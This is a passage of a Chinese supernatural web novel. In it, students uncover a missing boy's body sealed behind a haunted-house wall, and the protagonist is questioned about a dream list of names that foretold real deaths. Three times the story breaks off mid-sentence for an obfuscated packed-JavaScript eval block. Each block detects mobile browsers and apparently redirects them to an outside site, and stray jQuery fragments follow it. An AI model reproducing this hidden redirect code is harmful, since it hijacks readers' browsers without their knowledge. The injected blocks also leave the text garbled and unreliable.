“我也不知道呢,每回都不一样的,一般看我心情。”方信艾显然也不愿意经历一遭,尤其是敌在暗我在明,知道有人在暗处蓄势待发,却只能等待“第二只靴子落下”,这种坐以待毙的感觉很不舒服。 方信艾四下打量着屋内,想找到之前和她一块儿在这个房间里工作的小男孩。 然而遍寻无果后,方信艾就有些泄气了。也许那小孩没有再在这工作了,毕竟这家店的工作人员流动性非常强,更不要说是这种本该在读书的小孩。 但她实在很好奇店里分配给他的任务是什么。他从来不需要通过什么行为吓人,只是充满怨气地静静坐在某个角落,让生人不敢靠近。这么说来,或许他只是某个员工家的小孩也说不定。 “杨瑰司还没有来吗?”在进鬼屋前,她们的手机都被收起来放在前台保管了,因而无法互相联系。 安平自从进这间房后,走的每一步都很谨慎。他牵着常喜乐,往前走完一步后才示意她跟上。听见这个问题,安平微微偏头,说:“她来了。” 话音刚落,几人的右边传来门吱呀一声打开的响动。无数个镜子里出现了杨瑰司的模样。然而,她们还没来得及说话,整个房间的灯就彻底暗了下来,互相看不见对方了。与此同时,房间里的音乐和惨叫也都偃旗息鼓。 常喜乐只能握到安平的手,而方信艾刚才分明还在她们身边,随着“啊”的一声尖叫,就再没有动静了。 “小艾?瑰司!”常喜乐因为黑暗而感到不安,她往前走了一步,被安平轻轻拽了拽。 “嘘。”安平说,“跟我来。” 常喜乐噤声,慢慢地跟着安平的移动方向走。然而过了一会儿,她听见杨瑰司在远处大喊:“喜乐,小心你男友!” 而让她感到心惊的是,她身边的安平并没有说话,反而从他们刚才离开的那个地方响起了他的声音:“别跟你的室友走。” 那,此刻牵着她的是谁? 常喜乐只觉得浑身起鸡皮疙瘩,她勉力忍住把这只手甩开的冲动。 在刚才那两声大喊后,身边这人却没有什么特别的反应,仿佛没听到似的。常喜乐试着冷静下来,她眯着眼睛,想在黑暗中判断出他的模样。 经过一段时间的适应,她的眼睛已经能看清一些身边的东西,首先意识到的是牵着她的人身高很矮,大概只与她的腰齐平。随后,她发现这只牵着自己的手非常冰冷,而安平的手向来是温热的。 活人的手再怎样冷,温度也绝不会低到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369333|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个程度。 常喜乐抿着嘴,她突然停在了原地,不再顺着那人引导的方向走。对方一下没有拽动她,慢慢停下,回头看她。 “姐姐,我好饿。”身前传来一个小男孩的声音,声音软软的,还有些委屈。常喜乐愣了愣,她想起方信艾之前提到的那个总蹲在角落不说话的小男孩。 “你跟姐姐出去,姐姐带你去吃好吃的好不好呀?”在面前的东西突然有了具体的形象后,常喜乐突然就不那么害怕了,她耐心地蹲下来问他。 “不好。”小男孩沉默了一会儿,他说,“我出不去,姐姐,我不知道我在哪,该怎么出去。” “你不就在这吗?”常喜乐不明白,她想了想,问,“你在哪?” “……不知道。”他的情绪忽然低落下来,“但我能感觉到,姐姐,你跟着我来。你带我出去好不好?” “那……你带我去吧,告诉我你在哪。”常喜乐站了起来,跟着男孩引导的方向走。 男孩显得高兴起来,他驾轻熟路地绕过一面又一面镜子,然而等他走到一面墙前时,却像没看到似的一直往前走。他的额头不停地磕在墙上,却像完全察觉不到痛似的,重复着这一动作。 男孩松开了牵着常喜乐的手,只是一直不停地捶打着墙壁:“我要出去……为什么不让我出去?我要出去……” “我好饿啊” “我好饿啊。” “我好饿啊。” 这之后,他不断重复着这句话,开始哭泣。 常喜乐看着眼前这诡异的一幕,盯着这堵墙没有说话。 墙后面是什么,常喜乐回忆着他们刚才上楼时看到的楼内构造。 按理说,这房间其实不算特别大,且他们刚才交流的声音并不小。可是杨瑰司她们却完全没有再吭声,这很不符合常理。 也许,面前这个就是杨瑰司曾提到的那个缠着方信艾的饿死鬼。 可是要怎么帮助他?常喜乐完全没有头绪。面前这个孩子的刻板行为让她觉得毛骨悚然。他为什么会被困在这里,究竟发生了什么事情? 她后退一步,却觉得身体无比沉重,不听使唤,与此同时,有人在身后轻轻揽住了她的肩膀,吓得她大叫一声。 “睁开眼,别害怕,我在。”熟悉的声音传来,如同一阵醒神的铃铛声在耳边荡开。 常喜乐心想,这是说的什么话,我不正睁着眼吗? 突然,她心念一动,猜测自己也许是在做梦——你看,这诡异的场景、不合逻辑的剧情、以及沉重的身子,多么像一场荒诞的噩梦啊? 常喜乐从前做噩梦醒不过来的时候,小姨曾教过她一个办法——当你意识到自己在做梦,只要不停快速地眨眼,瞪大眼睛,慢慢地就能够醒来。 等常喜乐睁开眼时,发现自己正躺在安平的怀里,杨瑰司则拽着方信艾的手。她已经很久没有再提过饿,然而此刻的她蹲在地上抱头,用不符合她的语调重复着:“我好饿啊,我好饿。好黑,好黑,妈妈……妈妈!” “喜乐你醒了?我们刚联系了工作人员,他们在来的路上。”杨瑰司一只手掐住方信艾的嘴不让她咬到舌头,另一只手则掐住她的虎口想让她保持清醒。 安平则紧握常喜乐冰凉的双手,想把她的手捂暖。 “我做了个梦……”常喜乐喃喃着,她回忆起梦的内容,突然心里一惊。她挣扎着站了起来,向西边的那面墙跑去。 她绕过一面面镜子,走到那堵墙面前,把手慢慢地放在了墙壁上。 工作人员就在此时赶来,打开了房间门,常喜乐回过头,问他们: “墙后面是什么?” 19.一墙之隔 来的工作人员除了张哥还有几个化着妆的npc。他们也经常遇到过被吓狠的顾客,但鲜少有方信艾这么激动的。 几人面面相觑,最后还是张哥出面对她们说:“我们几个都是今年刚入职的员工,当时装修的过程咱也不知道。小艾这是怎么了?吓着了吗,我现在就打120……” 常喜乐皱着眉毛,她心里莫名有个猜想。因此虽然知道自己的要求听起来有些无厘头,但还是问:“这堵墙,能拆吗?” “啊?那肯定不行啊,你对这墙有啥子意见莫?刚才是磕到这墙了?”张哥对这要求闻所未闻。 杨瑰司想把方信艾也一起带到墙边,然而她一但靠近那个地方就十分抗拒,怎么也不肯再多走一步。 常喜乐把手贴在墙上,那小男孩“我想出去”的哀叫声似乎还在耳畔。她觉得心脏的某个地方莫名抽痛,等到抬头,已经泣不成声,只能一个字一个字地说:“我觉得,里面有人。” 哭当然解决不了问题,可她摸到这堵墙的那一刻,就仿佛身临其境被困在某个狭窄的小房间,终生不见天日,那样绝望而痛苦的情绪立刻席卷了她,使人几乎无法呼吸。 “这里头咋可能有人呢?姑娘,你别激动,有话咱好好说。”张哥一脸不理解,只希望事情快点解决。 常喜乐深呼吸了一口气,慢慢冷静下来。她抬手擦干了眼泪,退后一步,打量着这面墙。刚才灯光昏暗,许多细节都无法看清。而现在随着房间大灯打开,上面油漆的颜色对比明显起来。 这面墙的颜色相比天花板以及相邻的墙要更新一些,她扭过头问:“这堵墙是后来加建的吗?” 她敲了敲墙,与实心浇筑的墙不同。敲击声空灵有回响,里头是空心的。随着这声敲击,突然从墙的那头传来弱弱的一声猫叫。 “里面怎么会有猫?”一旁的员工惊讶。 张哥的神情却放松下来:“害,猫就喜欢乱窜,说不准是啥时候从通风管道爬进去的。晚点自己就出去了吧?不用管。” 常喜乐敲了敲墙,里头的小猫应声又叫了一声,然而它的声音实在太微弱,几乎要听不见,她有些愠怒道:“它在喊救命,你听不见吗?” “你这就说笑了,姑娘。猫平时不就爱叫叫,它说什么你咋知道?”张哥觉得好笑,“你说这墙得拆,就为了一只猫?” “什么叫就为了一只猫,难道猫的命就不是命?”常喜乐察觉到这只猫已经虚弱得快要连求救都无法了,她没有心思再和他理论,只想快点把猫救出来。 “姑娘,我理解你有爱心,爱护小动物。可是照你说的拆墙把猫救出来,我们又得重新建,中间装修的费用,包括期间无法营业的损失,谁来承担呢?”张哥有些着急了,他只是个员工,做不了这个主。 “我来承担。”安平微微举手示意,他的视线一直停留在常喜乐的脸上,最后缓慢而不容拒绝地握住常喜乐扶着墙的那只手,将之隔绝开来。 “唉!”张哥看着一旁仍旧有些疯癫的方信艾,意识到今天这事不是他们能压下来的。他重重叹了口气打了电话去联系老板。 这家店的老板就住在这栋楼的上层,他原本都要休息了,接到电话后匆匆赶下来。在听到要拆墙时,一开始也坚决不同意。 “你来承担全部费用?你们是大学生吧,兜里有几个子儿?知道装修要花多少钱吗?”老板了解到这几个人都是学生,进来买票还是优惠价,更不把他们放在心上了。 学生仔嘛,吓唬一下就好啦。 常喜乐却不为所动,她问:“你们这堵墙的加建有获得批准吗?能确定没有妨碍逃生通道吗?假如我报火警,说你们有消防隐患,你们经得住查吗?” 老板沉默了片刻,张哥拽了拽他的袖子后,对着他耳朵悄悄说起话来。 常喜乐则低声问安平:“你说你来承担费用,你知道要多少钱吗?” 看安平这数日如一的装扮,洗得发白的衬衫和牛仔裤,以及他不久前才购入手机的事迹,可见他的财政状况未必乐观。 安平还没来得及说话,常喜乐就摇了摇头,安慰他:“没事,不管多少钱,我也是付得起的。” 她多年攒下来的压岁钱和奖学金,外加这次考中大学后市里村里发的奖金,以及各路亲人给的红包,也有大几万。 在短暂的沉默之中,方信艾的情况却越来越严重。她已经饿到饥不择食、失去理智了。在拉扯下更是一口咬住了杨瑰司的手掌。杨瑰司忍着疼,一个掌刀打在她的后颈脖,叫人暂时昏了过去。 工作人员都被这一幕吓到,窃窃私语起来。 “你说你们来承担我们的一切损失是吧?行,那砸。”老板考虑了半天,才为难地同意了,他补充道,“先说好,那姑娘可和我们没关系啊!我们根本没在这间房安排npc。” 等临时找了工人来界定这墙能不能拆,说好价钱后,他们提前说明了:“要开个洞把猫救出来是简单的,整个墙要拆完的话还是需要一点时间。” 随后便开始动工了。常喜乐握紧了拳头,她虽然觉得里面有人,可却最是不希望里面有人。 谁能在接受在一面墙后了结余生,那是多么残忍的事情? 在第一块砖头被打下的时候,几乎在场的所有人都捂住了鼻子。 “呕……这是什么味道?”张哥和几个员工几乎要干呕出来,“那猫不是还活着吗?” 工人强忍着恶心,因为怕伤着里面的猫,用工具从另一头把砖撬出来。随着这洞越来越大,有个眼尖的看见了什么,吓得坐在了地上:“诶!里面,里面有人啊!” “啥?……我去,这都烂了吧?”另外的工人也跟着看了眼,捂着嘴巴忍着没吐。 在众人视线下,有个及成年人腰那么高的小男孩,就这么直挺挺地站在墙里,随着这砖头被破开,他失去重心,向前倒了下来。 常喜乐盯着那具小小的尸体,她既没有捂住鼻子,也没有干呕。 她想起那双冰凉的手,还有男孩悲伤绝望的哭喊。 “报警吧。” “别报警,谁敢报警?”老板第一反应是想把这事捂下来,然而这里认识的不认识的人实在太多,局面已经不是他能控制住的。 警察赶来的速度很快,他们带走了尸体,并留下了在场众人的联系方式,以备后续案件跟进。 在没有太多人在意的角落,安平和常喜乐把里面那一只奄奄一息的小猫带了出来。安平将小猫送去了宠物医院,常喜乐和杨瑰司则分别搀扶着刚刚醒转的方信艾下楼,她已经不哭不闹了,然而还是神情怔怔。 等走到一楼的时候,常喜乐才终于注意到了那陈旧公告栏上贴的一沓沓纸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376105|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [寻人启事: 陈晚,8岁,身高1.1m左右。于2022年8月走失。请好心人帮忙寻找,如有线索,请联系电话136xxxxyyyy,线索确认有用后必有重谢!] 纸上还附了张照片,是个开朗的男孩在海边,伸手比耶,咧着口大白牙对着镜头笑。 在这张纸下面,有数不清的同样内容的纸张,它们有些随着时间变化已经泛黄变薄,然而有人依旧坚持不懈地张贴着新的寻人启事。 但因为从未有人见到过这个男孩,所以没人揭下过这张纸。 方信艾突然用不大不小的力道挣开了牵着她的两人。她怔怔地走向那个公告板,伸手摸了摸那张照片。 杨瑰司想要叫住方信艾,但被常喜乐拦住了。她走上前,牵住了方信艾的手,这只手的温度极低,绝不是在这尚且炎热的九月份该有的体温。 方信艾察觉到什么,瞳孔微微向常喜乐的方向偏移。 “陈晚,姐姐答应你的,要带你出来。很快就可以见到妈妈了。到时候,我们给你带很多好吃的,好不好?”常喜乐耐心地安抚着对面的人,仿佛她只是个几岁稚童。 方信艾散着的视线突然有了焦点,她看了常喜乐半晌,说了句:“喜乐?”随后就晕了过去。 那天晚上真是个不眠夜,方信艾一直跑去厕所吐,把原本在和她怄气的任清给吓着了,忙前忙后地烧热水、找药,问要不要送人去医院。 常喜乐正给杨瑰司包扎手上的伤,这妮一点不当回事,摆了摆手,对任清说:“让她吐。” 等把脏东西都吐出来就好了。 常喜乐拍了一下她的头,斥道:“别乱动,好好包扎!” 警局办案的力度很快,隔了一天就把这三人叫去了解情况。 那栋大楼的电梯因为出了问题已经被停用了两年,但也只是用栅栏围了起来,贴了张禁止使用的牌子。 但不知你们有没有这样的经历?即使是确认已经坏掉的机器,在极偶尔的时候,也可能突然恢复了正常运转。 小男孩在无人的一天来到大楼里,他认识的字少得可怜,在看到电梯时,只是随手推开了白色移动栅栏,按下了电梯的上行键。 分明已经停用的电梯却缓缓打开了大门,小男孩蹦蹦跳跳地走进去,然而再也没人看见他出来。 据警方判断,那个电梯很可能是错误地停在了四楼。原本即使坐错了电梯,顺着楼梯下楼也就可以了。 然而那一年,正逢这家“无名鬼屋”新开业。他们在这废弃电梯前加修了一堵墙来做一个镜屋。小男孩自此进入了死亡隔间,身前是难以逾越的高墙,身后是再也不会打开的电梯门。 他也求救过,分明听见一墙之隔外有人在说话、在大叫。甚至有一次,他听见有人问“是谁在求救?” 然而从来没有人真正发现他,他们大多数说着:“可能是鬼屋的布置吧?”就忙着逃跑了。 在鬼屋里,哭泣、尖叫、求救都是司空见惯,有谁会在意这一墙之隔的小小声音呢? 小男孩不懂这些,他最后无力地蹲在墙角,因为缺水而濒死。 唯一一个看见他的人,是一个每天躲在镜子后面的姐姐。 后来还有一个短发的姐姐,她牵着他的手,走到了那堵墙面前,为他打碎了桎梏。 20.名单 次日,常喜乐几人被叫去警局配合调查。方信艾因为身体缘故没有来,而杨瑰司和常喜乐只是本案的目击者,与案件本身并没有直接关系,在简单被问询过情况后就可以走了。 然而,她们站起来准备离开的时候,常喜乐突然接到了一通电话。她看了会儿来电ip,就在山城。以常喜乐的经验来看,在当地ip的电话是骗子的概率很小,想了想,还是接通了。 电话里的人声音清朗,询问道:“你好,是常喜乐吗?请问你是不是前段时间因食物中毒在蓝山医院住过院?” “对。”常喜乐点了点头,“怎么了吗?” “是这样,我叫李川流,隶属异常死亡管理局。有些事需要向你调查一下情况,请问你现在是否有时间呢?”他准确地报出常喜乐的身份证号后,礼貌提问道。 异常死亡管理局?闻所未闻。果然还是骗子吧……?她的语气就冷了三分:“我现在正在警察局,你们如果要行骗的话,我不介意当场报警。” “喜乐姑娘,我们虽然不算公职人员,但也绝对不是什么非法的组织。”李川流的声音突然由远及近,简直在身边响起似的。 常喜乐抬起头,看见门口大步流星走进来一个高个男人,他一手摘掉墨镜,一手拿着电话。等走到常喜乐面前,他才把电话放下。此时,电话和现实里的声音逐渐重合: “不需要报警,因为我们来接你了。” 常喜乐有些不可置信地放下手机,她警惕道:“你怎么会知道我在这里?” 男人没有直接回答她,而是亮出了一个证件。这证件包含了他方才在电话里自我介绍的信息,同时还有一个他们C国本国的官方印章,意味着这一组织是经过认证的。 他看到常喜乐的神情便知道事情成了一半,他笑着露出一口白牙:“再次自我介绍一下,我叫李川流,隶属异常死亡管理局。” 常喜乐摸了摸这证件上的印章,礼貌地询问过路的一位警官:“请问,这个章是真的吗?” 李川流无奈地笑了笑,他总不至于拿着假证来自投罗网。 在得到肯定的答复后,常喜乐才犹疑着相信了李川流的话。 她对还在一旁等她的杨瑰司说:“你先回学校吧。” 等常喜乐跟着李川流来到警局门口,就见不远处停了一辆车。一位穿着西装的短发女人下了车,替常喜乐打开了车门,一边说:“你好,我叫夏徕。” 等常喜乐跟着他们坐车到了一栋繁华大楼前,在坐电梯时却发现他们正在下行,那李川流不知道按了什么键,那电梯足足下到了地下五层。 常喜乐看了一眼电梯按键,上面显示最低楼层也只有负二层。 “抱歉,我们的工作要求保密,所以选址在这。”李川流看出她的困惑,对她笑了笑。 等电梯门缓缓打开,面前展现出来一整层办公层,几十个穿着制服的人在有序地做自己的事。经过他们去往办公室的时候,还不时听见“李队好!”“夏队好!”的招呼。 进了隔音的办公室后,李川流替常喜乐拉开椅子,而夏徕则从她带的材料里拿出一张纸,单手推到常喜乐面前:“这是保密协议,希望你今天出去不要透露任何关于这里的信息。” “我们会随附一笔钱作为保密的交换。”察觉到夏徕的语气生硬,一旁的李川流连忙补充道。 “我并不需要钱。但希望你们的确是有事找我,不要浪费我的时间。”常喜乐扫过这份保密协议的大致内容后,一眼也没在那不菲的金额上停留,直接签了字。 夏徕继续抽出一张纸,推给常喜乐:“这是我们在你住过的病房里找到的纸张,上面是你的字迹没错吧?我们对比了你在医院的签字,结果显示吻合。” 常喜乐仔细看了看这张纸,上面的确是她的字迹。这张纸是她在住院时从随身携带的本子上随意撕下来的,用来记录梦境的内容。 上面写了她当时能记住的梦中人物名字以及跟在人名后的具体时间。 “是我写的,有什么问题吗?”她问。 夏徕并没有回答她,而是继续询问:“你写了这么多人的名字,这些都是你认识的人吗?” 常喜乐摇了摇头:“有些认识,有些不认识。” “哪些是你认识的?” 她如实指了指纸上的两个名字:一个是戴山雁,另一个则是徐婉佳。 对面的两人对视了一眼,李川流告诉她:“除了你指的这两个名字外,其余所有人都在你写出的那个时间点死亡了。” “什么?”常喜乐一愣。 “如果你根本不认识其他人,又怎么能这么精准地写出他们的名字?”夏徕点了点纸页,这一点格外令她不解。事实上,这些人的死因各有不同,但皆非他杀,本身并没有什么好调查的。 然而有了常喜乐这张纸,事情就变得奇怪了起来。因为她竟然提前写出了半天内每个人的名字和基本精准的死亡时间。 但经过多方检查,常喜乐的人生轨迹与这些死者几乎没有任何交集。 “我梦到的。”从他们的表情中,常喜乐看出来他们对这个回答并不满意。然而,她说的的确是实话。 “做梦?”夏徕的表情明显是不信,然而一时也并没找到反驳她的理由。 另一边的李川流则接过话头:“听那位负责你的许护士说,你曾经先后救过戴山雁和徐婉佳两人?” “是的。” “我们在调查监控后,发现你对她们施救的时间,与你在纸上写下的时间对应的时间相吻合。”夏徕完全没有给常喜乐喘息时间,接着提问,“这是巧合吗?还是你提前知道些什么,所以才能及时施以援手?” 这是巧合吗?那些天,常喜乐也总想问自己,这样精准的时间与人名,真的只是凑巧吗?然而她并没有渠道认识纸上写下的其他人名,案例数量过小,因而对于其准确程度也就无从查证。 见常喜乐沉默,夏徕继续说:“尽管你已经救了她们,徐婉佳后续依旧死于意外事故,而戴山雁突发重病,辗转于icu一直在接受抢救。” 听到这,常喜乐无法再冷静下去,她问:“戴山雁现在怎么样了?” 两个人都抬起头来,仔细观察着她的表情,似乎在犹豫要不要告诉她。良久,李川流才说:“她前几天一度生命垂危,然而在你去看望过她之后,情况却突然好转。” “迄今为止,戴山雁是你写的名单中唯一一个尚且存活的人。你曾经多次对她和徐婉佳施以援手,如果你希望她能活下来,请务必将你知道的事情告诉我们。”夏徕用黑色笔尖虚点了一下戴山雁的名字。 “或者,这个名单完整吗?如果你还有没写进来的名字,也请务必告诉我们。”李川流补充道。 这名单简直就像是一个死亡宣判,被写在上面的人无一幸存。但戴山雁还活着,如果可以,他们希望她能一直活着。 假如能提前知道他人的死亡时间,那么就有办法去阻止。这对于异常死亡管理局来说是一项不容错过的信息。 此刻,常喜乐非常希望自己真的知道什么类似连环杀人案的线索,以此抓住元凶或者阻止意外,她们就可以立刻阻止一条条鲜活生命的死亡。 可事实上,这真的只是常喜乐的一场梦。她还能再多说些什么呢?她甚至不记得更加完整的名单。 “我不知道……这真的只是我的梦而已。”常喜乐苦思冥想,然而前几天默出来的名字已经是她记忆的极限,更何况她又经历了这么惊险的几天。她实在想不出来新的信息,以手撑着额头痛苦不堪。 她的神情不似作伪,看起来非常痛苦,似乎说不出什么有效信息了。两人对视了一眼,犹豫着要不要继续问下去。 李川流倒了一杯热水递给常喜乐,她接过纸杯后,任由热气氤氲眼睛。她眼眶红红,想起了前几天那个悲伤的下午。 “你们既然调查了这么多,我能问问,婉佳是怎么去世的吗?”她问。 “你不知道吗?”李川流有些惊讶。 常喜乐摇头。那一天,她原本想去探望徐婉佳的母亲张钧婵。然而这位心如死灰的母亲早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385425|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着女儿的尸体离开了医院,她才想起来,自己只是给出了电话号码,却从来没有她们的联系方式。 而佳佳这样小的女孩究竟遭遇了什么,常喜乐对此一无所知。 夏徕盯着她那双哀愁的眼睛,似乎终于确认了什么。她把手上的材料在桌上敲了敲以码整齐,递给她一张名片:“事关他人隐私,我不能告诉你。今天的调查就到此为止吧,常小姐,如果你后续还能想起别的东西,请立刻通知我们。” 常喜乐低下头,轻轻道:“我了解了,也祝你们的调查有新进展。” 要说,她才是最想知道究竟发生了什么事的人。 等常喜乐在李川流的陪同下出了电梯,神情依然恍惚。现在,只有戴山雁尚且脱离危险期的事算得上好消息。常喜乐双手合十,希望她能够彻底脱离危险。 然而,在常喜乐的左脚刚刚踏下大楼门口的台阶时,不远处突然传来了刺耳的刹车声。她抬起头,看见一辆黑色轿车歪歪扭扭地向她的方向冲来。 这一瞬在常喜乐的眼里被划分成一帧帧的画面般看得极清楚,她明白自己应该要躲开。 把脚收回来,快跑回楼内,快啊! 然而身体拒绝听从大脑的命令,只是僵在原地,像被冻住了一般无法移动。 在那轿车即将撞到台阶前时,常喜乐只觉得肩上一重,就被人连拖带拽地往台阶上拉。她重心不稳,和身后的人一起跌坐在了台阶上。 那轿车在即将撞到台阶上时来了个急转弯,它的行进路线不再歪扭,而是非常迅捷地向前方驶离。 “我真是测了!”身后又传来一个愤怒的女声,一阵风从边上刮过,再一眨眼,夏徕已经疾跑着向那车的方向追了去。 “你没事吧?”常喜乐还心有余悸,就听见那和自己一起摔在台阶上的人关切地询问自己,正是送她出来的李川流。他盯着那辆被拦停的车,原本温和的目光变得严肃。 “李先生……那是意外吗?”常喜乐目光微散地跟着他的视线看向那辆车。 “具体可能要等调查过后才能判断。”李川流站起来拍拍身上的灰尘,对常喜乐伸出了一只手。 常喜乐借着他给的力道站起来。她内心突然觉得惶恐,假如这是蓄意,那么背后的敌人显然是她完全没有认知也无从预判的的一个层级。 而假如这真是意外,那么如杨瑰司所说,她的运气已经越来越差,从小打小闹到危及生命,中间不过短短数日而已。 “常喜乐。”李川流认真叮嘱道,“还记得我刚才留给你的联系方式吗?这段时间要格外注意安全,一旦遇到危险,请务必及时报警。” 常喜乐点了点头。 见她神情恍惚,大概是被吓到了,李川流干脆道:“上车吧,我送你回学校。” 临走前,她又看了眼那车被逼停的位置,此时已经有附近的交警赶来处理了。驾驶位出来了个男人,走路东倒西歪的,似乎神志不清。 等常喜乐回了宿舍,几人都被她的神情吓了一跳。 “怎么了喜乐,跟丢了魂儿似的?”方信艾看不出门道,但也觉察出常喜乐不同于以往的沉默寡言来。 杨瑰司眼尖,立刻看到了她手腕上因为与水泥地摩擦而导致的刮痕。她还没来得及问问题,却听常喜乐疑惑地问:“你说,一个本子上,如果写满了人的名字和死去的时间节点,那会是个什么样的东西?” “公安局办理死亡登记啊?”方信艾歪头。 “死亡笔记吗?”一边一直默默在听的任清正在看动漫,她转过头来补充道,“在本子上写下名字、死因与时间,这人就会依次死去。” 常喜乐一一排查,到这里还是摇了摇头。她并不清楚名字背后那些人的长相,与任清所说的设定似乎并不符合。 杨瑰司没有说话,仍在思考。常喜乐顺着她的方向,视线微微移转,突然看见其书架上的一本书。 那是一本家喻户晓的名著: 《西游记》。 “生死簿?”常喜乐念出了那个呼之欲出的答案。 21.相信 “孙悟空勾销的生死簿?”杨瑰司注意到常喜乐的视线,拿下了那本书打开翻看。 “我不知道。”常喜乐摇头,她对自己的猜想感到荒谬,“我怎么会去想这些,我根本就不相信这种东西啊?” 话一出口,看到面前三人各异的神色,常喜乐意识到自己有些情绪激动了:“我出去静一静。” 她慢慢走下宿舍楼的台阶,却不知道该去哪里。 “喜乐。”身后传来杨瑰司的声音,她方才追了出来,此刻拎着钥匙走上前,对常喜乐说,“我们谈一谈吧。” 山城大学的各个地方都不缺人去,哪怕是看似静谧的小树林也充斥着一对对情侣。想要找个不被人听见对话的地方的确有点难。 “不介意的话,去我租的房子吧?”杨瑰司虽然搬回了学校宿舍,但并没有退租校外的房子。有需要的情况下她还会在这里直播。 等常喜乐在客厅沙发坐下,杨瑰司递给她一杯茶水。她接过杯子,轻轻说了声谢谢。 “你一直说,你不相信这些东西,对吗?”杨瑰司开门见山。 常喜乐点了点头:“没错,世界上根本就没有……” “那你为什么会害怕?”杨瑰司打断了她。 “我……”常喜乐张了张嘴,发现自己一时无法回答。 “人怎么会害怕自己不相信的、不存在的东西呢?”杨瑰司点明道,“你害怕,是因为你感觉到它们了。而这一认知与你一直以来坚信的东西相违背,所以你才感到矛盾。” 的确,常喜乐原本认为一切奇怪的事情都可以用科学来解释。可这一两个月发生的那些事,她解释不了,所以才前所未有得害怕。 “其实不需要害怕。”杨瑰司握着常喜乐的肩膀,把她的身体朝向窗户:“你看着窗外,告诉我你能看到的最远的东西。” 常喜乐对这个要求感到莫名,但也乖乖照做。她睁着眼睛观察了好一会,回答杨瑰司:“最远的那座山上有座庙。” “好。”杨瑰司往后一仰,背靠着沙发,伸手在边上的纸袋里掏来掏去,随后拿出来一个望远镜递给她,“现在再看,然后重新回答我。” 常喜乐接过望远镜,她看了一会儿,才慎重地说:“我看见,有一只鸟停在了树梢上。” “这样的细节,你需要通过望远镜才能看见。”杨瑰司接过望远镜,循循善诱道,“但有些视力极好的人,裸眼就能看见你刚才看不到的那些细节。” 常喜乐点了点头。 “每个人的能力不一样,你看不见、听不到,并不等于没有。对有些人来说,这个世界的确没有妖魔鬼怪,因为他们没有感知到这些的能力。而对一些五感更加敏锐的人来说,这些东西确确实实地存在着。”杨瑰司望着窗外的某个方向,眼里多了些温度,“这并不是一件可怕的事。对我来说,假如人死之后就归于虚无湮灭,那才令人绝望呢。” “那些……真的存在吗?”常喜乐的声音很轻,想起了被雨水穿透身体的黑衣男人、假扮人的黄鼠狼、死去的走失男孩,还有……年幼丧命的徐婉佳,“死去的人,会以另一种形式存在着?” “存在。”杨瑰司转过头来认真地盯着她的眼睛,声音温柔,“我很厉害的,相信我吗?” “可是,我小姨也很厉害。”常喜乐瘪了瘪嘴,像听大人讲完鬼故事的可怜小孩,“她特别肯定地告诉我,世界上没有妖魔鬼怪的。” “虽然不知道你小姨是谁。”杨瑰司骄矜地仰起头,“但在这个世界上,我师父是最最厉害的。我第一次捉妖就是和她一起。” 常喜乐没有就这个问题与杨瑰司争执,她盘坐着向窗外,苦思冥想了很久。她想试着去相信一些认知以外的东西,又或者说,她一直都相信,只是自欺欺人地认为这一切都不存在。 可是,如果死去的人真能以另一种形式存在于世,似乎并不是一件那么糟糕的事情? 杨瑰司感受到常喜乐方才不安的情绪突然平稳了下来,她观察着静静打坐的常喜乐,轻声道:“你好好想想吧,我要去直播了。” 常喜乐没说话,抬起手摆了摆。杨瑰司则起身去书房打开电脑。 “好久不见。”杨瑰司戴好面具后,在镜头面前就显得更为高冷寡言,这时才让人想起来这位姑娘的面相之凶。她如果不做表情,就显得非常生人勿近。 与她相比,弹幕就热情很多。因为直播开得突然,这会儿鬼司直播间的人数并不算太多,但依旧呈现了极快的增长速度。 “这几天?去处理了些私事。”杨瑰司有一搭没一搭地和弹幕聊天,偶尔和粉丝连麦。不过这会儿找她看的大多都没什么真水花,基本只是误会一场。 “连最后一个了啊。”杨瑰司打了个哈欠,考虑到常喜乐还在家里,也不准备花太多时间在直播上。 屏幕闪了一下,出现个扎丸子头的姑娘。她抱着个玩偶,盘腿坐在屏幕前,看背景似乎是在卧室的床上。 “鬼司?哇啊啊我连上鬼司了诶!”这位粉丝id是小雪,她没想到自己真能连上,一时半会儿高兴得忘记要说什么。 “你刚在弹幕里提到最近遇见了怪事。”杨瑰司直入正题,“说来听听。” “哦哦,是这样的,我最近老觉得有人在看我。”小雪收起了惊喜的情绪,认真道。 平心而论,她长得很漂亮,一双杏眼眨巴眨巴得很有元气。 弹幕不时划过“我在路上看到你也会多看几眼哒,太漂亮啦。”“回头率百分之三百吗哈哈哈”“还是警惕点,是不是被坏人尾随了?”的言论。 